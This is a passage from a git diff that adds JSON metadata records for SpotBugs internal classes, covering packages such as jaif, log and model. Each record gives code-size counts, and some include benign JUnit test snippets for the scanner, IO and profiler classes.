+ "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/SlashedClassName.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/SlashedClassName.json new file mode 100644 index 0000000..0ccffc6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/SlashedClassName.json @@ -0,0 +1,41 @@ +{ + "name": "SlashedClassName", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 5, + "apis": 8, + "test": [ + { + "description": "testFoo", + "expected-problems": null, + "expected-linenumbers": [ + 34, + 38 + ], + "code": "@Test\n void testFoo() {\n Matcher m = SlashedClassName.Checker.simplePattern.matcher(\"Foo\");\n assertTrue(m.matches());\n }" + }, + { + "description": "testFooBar", + "expected-problems": null, + "expected-linenumbers": [ + 40, + 46 + ], + "code": "@Test\n void testFooBar() {\n Matcher m = SlashedClassName.Checker.simplePattern.matcher(\"foo.Bar\");\n assertFalse(m.matches());\n m = SlashedClassName.Checker.pattern.matcher(\"foo.Bar\");\n assertFalse(m.matches());\n }" + }, + { + "description": "testFoo1Bar2", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 54 + ], + "code": "@Test\n void testFoo1Bar2() {\n Matcher m = SlashedClassName.Checker.simplePattern.matcher(\"foo1.Bar2\");\n assertFalse(m.matches());\n m = SlashedClassName.Checker.pattern.matcher(\"foo1.Bar2\");\n assertFalse(m.matches());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/StaticConstant.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/StaticConstant.json new file mode 100644 index 0000000..f8e5fdd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/StaticConstant.json @@ -0,0 +1,13 @@ +{ + "name": "StaticConstant", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/IO.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/IO.json new file mode 100644 index 0000000..3788b12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/IO.json @@ -0,0 +1,50 @@ +{ + "name": "IO", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 313, + "branches": 27, + "apis": 26, + "test": [ + { + "description": "testReadAllWithCorrectSize", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 50 + ], + "code": "@Test\n void testReadAllWithCorrectSize() throws IOException {\n\n for (int i = 10; i <= 10000; i *= 10) {\n byte[] input = randomBytes(i);\n byte[] output = IO.readAll(new ByteArrayInputStream(input), i);\n Assertions.assertArrayEquals(input, output);\n }\n }" + }, + { + "description": "testReadAllWithSmallSize", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 60 + ], + "code": "@Test\n void testReadAllWithSmallSize() throws IOException {\n\n for (int i = 10; i <= 10000; i *= 10) {\n byte[] input = randomBytes(i);\n byte[] output = IO.readAll(new ByteArrayInputStream(input), i - 9);\n Assertions.assertArrayEquals(input, output);\n }\n }" + }, + { + "description": "testReadAllWithLargeSize", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 70 + ], + "code": "@Test\n void testReadAllWithLargeSize() throws IOException {\n\n for (int i = 10; i <= 10000; i *= 10) {\n byte[] input = randomBytes(i);\n byte[] output = IO.readAll(new ByteArrayInputStream(input), i + 29);\n Assertions.assertArrayEquals(input, output);\n }\n }" + }, + { + "description": "testReadAllWithoutSize", + "expected-problems": null, + "expected-linenumbers": [ + 72, + 80 + ], + "code": "@Test\n void testReadAllWithoutSize() throws IOException {\n\n for (int i = 10; i <= 10000; i *= 10) {\n byte[] input = randomBytes(i);\n byte[] output = IO.readAll(new ByteArrayInputStream(input));\n Assertions.assertArrayEquals(input, output);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/SlowInputStream.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/SlowInputStream.json new file mode 100644 index 0000000..3ebed60 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/io/SlowInputStream.json @@ -0,0 +1,13 @@ +{ + "name": "SlowInputStream", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 8, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEnumConstant.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEnumConstant.json new file mode 100644 index 0000000..d63eebc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEnumConstant.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFEnumConstant", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEvents.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEvents.json new file mode 100644 index 0000000..ef23b4b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFEvents.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFEvents", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFParser.json new file mode 100644 index 0000000..5e55681 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFParser.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 414, + "branches": 46, + "apis": 96, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFScanner.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFScanner.json new file mode 100644 index 0000000..d397d57 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFScanner.json @@ -0,0 +1,113 @@ +{ + "name": "JAIFScanner", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 226, + "branches": 14, + "apis": 27, + "test": [ + { + "description": "testScanColon", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 46 + ], + "code": "@Test\n void testScanColon() throws Exception {\n JAIFScanner scanner = getScanner(\":\");\n checkToken(scanner, \":\", JAIFTokenKind.COLON);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanParens", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 55 + ], + "code": "@Test\n void testScanParens() throws Exception {\n JAIFScanner scanner = getScanner(\"()\");\n\n checkToken(scanner, \"(\", JAIFTokenKind.LPAREN);\n checkToken(scanner, \")\", JAIFTokenKind.RPAREN);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanComma", + "expected-problems": null, + "expected-linenumbers": [ + 57, + 63 + ], + "code": "@Test\n void testScanComma() throws Exception {\n JAIFScanner scanner = getScanner(\",\");\n\n checkToken(scanner, \",\", JAIFTokenKind.COMMA);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanEquals", + "expected-problems": null, + "expected-linenumbers": [ + 65, + 71 + ], + "code": "@Test\n void testScanEquals() throws Exception {\n JAIFScanner scanner = getScanner(\"=\");\n\n checkToken(scanner, \"=\", JAIFTokenKind.EQUALS);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanIdentifier", + "expected-problems": null, + "expected-linenumbers": [ + 73, + 88 + ], + "code": "@Test\n void testScanIdentifier() throws Exception {\n JAIFScanner scanner = getScanner(\" \\t \\t\\t@foobar Baz123 ( Boing Boing) @Yum@Yum __123 $plotz\");\n\n checkToken(scanner, \"@foobar\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"Baz123\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"(\", JAIFTokenKind.LPAREN);\n checkToken(scanner, \"Boing\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"Boing\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \")\", JAIFTokenKind.RPAREN);\n checkToken(scanner, \"@Yum\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"@Yum\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"__123\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"$plotz\", JAIFTokenKind.IDENTIFIER_OR_KEYWORD);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanFloatingPointLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 90, + 101 + ], + "code": "@Test\n void testScanFloatingPointLiteral() throws Exception {\n JAIFScanner scanner = getScanner(\"1e1f 2.f .3f 0f 3.14f 6.022137e+23f\");\n\n checkToken(scanner, \"1e1f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"2.f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \".3f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"0f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"3.14f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"6.022137e+23f\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanFloatingPointLiteral2", + "expected-problems": null, + "expected-linenumbers": [ + 103, + 115 + ], + "code": "@Test\n void testScanFloatingPointLiteral2() throws Exception {\n JAIFScanner scanner = getScanner(\"1e1 2. .3 0.0 3.14 1e-9d 1e137\");\n\n checkToken(scanner, \"1e1\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"2.\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \".3\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"0.0\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"3.14\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"1e-9d\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"1e137\", JAIFTokenKind.FLOATING_POINT_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanOctalLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 117, + 125 + ], + "code": "@Test\n void testScanOctalLiteral() throws Exception {\n JAIFScanner scanner = getScanner(\"0237 01575L 027365l\");\n\n checkToken(scanner, \"0237\", JAIFTokenKind.OCTAL_LITERAL);\n checkToken(scanner, \"01575L\", JAIFTokenKind.OCTAL_LITERAL);\n checkToken(scanner, \"027365l\", JAIFTokenKind.OCTAL_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanHexLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 127, + 135 + ], + "code": "@Test\n void testScanHexLiteral() throws Exception {\n JAIFScanner scanner = getScanner(\"0xDEADbeef 0xcafeBabeL 0X123EEfl\");\n\n checkToken(scanner, \"0xDEADbeef\", JAIFTokenKind.HEX_LITERAL);\n checkToken(scanner, \"0xcafeBabeL\", JAIFTokenKind.HEX_LITERAL);\n checkToken(scanner, \"0X123EEfl\", JAIFTokenKind.HEX_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanDecimalLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 137, + 145 + ], + "code": "@Test\n void testScanDecimalLiteral() throws Exception {\n JAIFScanner scanner = getScanner(\"1234 5678L 91919191l\");\n\n checkToken(scanner, \"1234\", JAIFTokenKind.DECIMAL_LITERAL);\n checkToken(scanner, \"5678L\", JAIFTokenKind.DECIMAL_LITERAL);\n checkToken(scanner, \"91919191l\", JAIFTokenKind.DECIMAL_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + }, + { + "description": "testScanStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 147, + 157 + ], + "code": "@Test\n void testScanStringLiteral() throws Exception {\n JAIFScanner scanner = getScanner(\"\\\"hello\\\" \\\"foobie bletch\\\" \\\"\\\\\\\"\\\" \\\"\\\\\\\\\\\\6\\\\45\\\\037\\\" \\\"\\\\b\\\\t\\\\f\\\\n\\\" \");\n\n checkToken(scanner, \"\\\"hello\\\"\", JAIFTokenKind.STRING_LITERAL);\n checkToken(scanner, \"\\\"foobie bletch\\\"\", JAIFTokenKind.STRING_LITERAL);\n checkToken(scanner, \"\\\"\\\\\\\"\\\"\", JAIFTokenKind.STRING_LITERAL);\n checkToken(scanner, \"\\\"\\\\\\\\\\\\6\\\\45\\\\037\\\"\", JAIFTokenKind.STRING_LITERAL);\n checkToken(scanner, \"\\\"\\\\b\\\\t\\\\f\\\\n\\\"\", JAIFTokenKind.STRING_LITERAL);\n checkToken(scanner, \"\\n\", JAIFTokenKind.NEWLINE);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFSyntaxException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFSyntaxException.json new file mode 100644 index 0000000..02842ff --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFSyntaxException.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFSyntaxException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFToken.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFToken.json new file mode 100644 index 0000000..928613d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFToken.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFToken", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFTokenKind.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFTokenKind.json new file mode 100644 index 0000000..22bd96d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/jaif/JAIFTokenKind.json @@ -0,0 +1,13 @@ +{ + "name": "JAIFTokenKind", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 42, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ConsoleLogger.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ConsoleLogger.json new file mode 100644 index 0000000..91813d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ConsoleLogger.json @@ -0,0 +1,13 @@ +{ + "name": "ConsoleLogger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 6, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/IProfiler.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/IProfiler.json new file mode 100644 index 0000000..b1a899f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/IProfiler.json @@ -0,0 +1,13 @@ +{ + "name": "IProfiler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 29, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/LogSync.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/LogSync.json new file mode 100644 index 0000000..16b0bbb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/LogSync.json @@ -0,0 +1,13 @@ +{ + "name": "LogSync", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 25, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Logger.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Logger.json new file mode 100644 index 0000000..a1fd4c2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Logger.json @@ -0,0 +1,13 @@ +{ + "name": "Logger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ProfileSummary.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ProfileSummary.json new file mode 100644 index 0000000..2952751 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/ProfileSummary.json @@ -0,0 +1,41 @@ +{ + "name": "ProfileSummary", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 7, + "apis": 40, + "test": [ + { + "description": "testGetProfile", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 53 + ], + "code": "@Test\n void testGetProfile() {\n Profiler profiler = new Profiler();\n profiler.start(String.class);\n profiler.end(String.class);\n Profiler another = new Profiler();\n another.start(Object.class);\n another.end(Object.class);\n ProfileSummary summary = new ProfileSummary(profiler, another);\n\n assertThat(summary.getProfile(String.class), is(profiler.getProfile(String.class)));\n assertThat(summary.getProfile(Object.class), is(another.getProfile(Object.class)));\n }" + }, + { + "description": "testReport", + "expected-problems": null, + "expected-linenumbers": [ + 55, + 71 + ], + "code": "@Test\n void testReport() throws UnsupportedEncodingException {\n Profiler profiler = new Profiler();\n profiler.start(String.class);\n profiler.end(String.class);\n Profiler another = new Profiler();\n another.start(Object.class);\n another.end(Object.class);\n ProfileSummary summary = new ProfileSummary(profiler, another);\n ByteArrayOutputStream byteArray = new ByteArrayOutputStream();\n PrintStream stream = new PrintStream(byteArray);\n\n summary.report(new Profiler.ClassNameComparator(summary), (profile) -> true, stream);\n String report = byteArray.toString(StandardCharsets.UTF_8.name());\n assertThat(report, containsString(\"Object\"));\n assertThat(report, containsString(\"String\"));\n }" + }, + { + "description": "testWriteXML", + "expected-problems": null, + "expected-linenumbers": [ + 73, + 98 + ], + "code": "@Test\n void testWriteXML() throws IOException {\n Profiler profiler = new Profiler();\n Profiler another = new Profiler();\n\n // The XML report contains only profiles that consumes 10ms, so add Thread.sleep(int) in test\n profiler.start(String.class);\n another.start(Object.class);\n try {\n Thread.sleep(32); // two times of Windows' timestamp resolution\n } catch (InterruptedException e) {\n throw new RuntimeException(e);\n }\n profiler.end(String.class);\n another.end(Object.class);\n\n ProfileSummary summary = new ProfileSummary(profiler, another);\n ByteArrayOutputStream byteArray = new ByteArrayOutputStream();\n XMLOutput output = new OutputStreamXMLOutput(byteArray);\n\n summary.writeXML(output);\n output.finish();\n String xml = byteArray.toString(StandardCharsets.UTF_8.name());\n assertThat(xml, containsString(\"name=\\\"java.lang.Object\\\"\"));\n assertThat(xml, containsString(\"name=\\\"java.lang.String\\\"\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Profiler.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Profiler.json new file mode 100644 index 0000000..b2f8e2b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/log/Profiler.json @@ -0,0 +1,13 @@ +{ + "name": "Profiler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 504, + "branches": 41, + "apis": 100, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassFeatureSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassFeatureSet.json new file mode 100644 index 0000000..e1b2937 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassFeatureSet.json @@ -0,0 +1,13 @@ +{ + "name": "ClassFeatureSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 381, + "branches": 36, + "apis": 68, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriter.json new file mode 100644 index 0000000..1e0624e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriter.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNameRewriter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriterUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriterUtil.json new file mode 100644 index 0000000..3550385 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/ClassNameRewriterUtil.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNameRewriterUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 10, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/IdentityClassNameRewriter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/IdentityClassNameRewriter.json new file mode 100644 index 0000000..8b9e8ab --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/IdentityClassNameRewriter.json @@ -0,0 +1,13 @@ +{ + "name": "IdentityClassNameRewriter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/MovedClassMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/MovedClassMap.json new file mode 100644 index 0000000..caa26c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/MovedClassMap.json @@ -0,0 +1,13 @@ +{ + "name": "MovedClassMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 154, + "branches": 12, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/RegenerateClassFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/RegenerateClassFeatures.json new file mode 100644 index 0000000..c2a0ab0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/RegenerateClassFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "RegenerateClassFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 7, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassFinder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassFinder.json new file mode 100644 index 0000000..f54587f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassFinder.json @@ -0,0 +1,13 @@ +{ + "name": "SimilarClassFinder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassSet.json new file mode 100644 index 0000000..8155373 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/SimilarClassSet.json @@ -0,0 +1,13 @@ +{ + "name": "SimilarClassSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 5, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/package-info.json new file mode 100644 index 0000000..bbef0b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/model/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 5, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/package-info.json new file mode 100644 index 0000000..2f0920e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 7, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/AnalysisPass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/AnalysisPass.json new file mode 100644 index 0000000..6363dd9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/AnalysisPass.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisPass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 170, + "branches": 9, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ByInterfaceDetectorFactorySelector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ByInterfaceDetectorFactorySelector.json new file mode 100644 index 0000000..948e5b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ByInterfaceDetectorFactorySelector.json @@ -0,0 +1,13 @@ +{ + "name": "ByInterfaceDetectorFactorySelector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintEdge.json new file mode 100644 index 0000000..9b0cc50 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintEdge.json @@ -0,0 +1,13 @@ +{ + "name": "ConstraintEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintGraph.json new file mode 100644 index 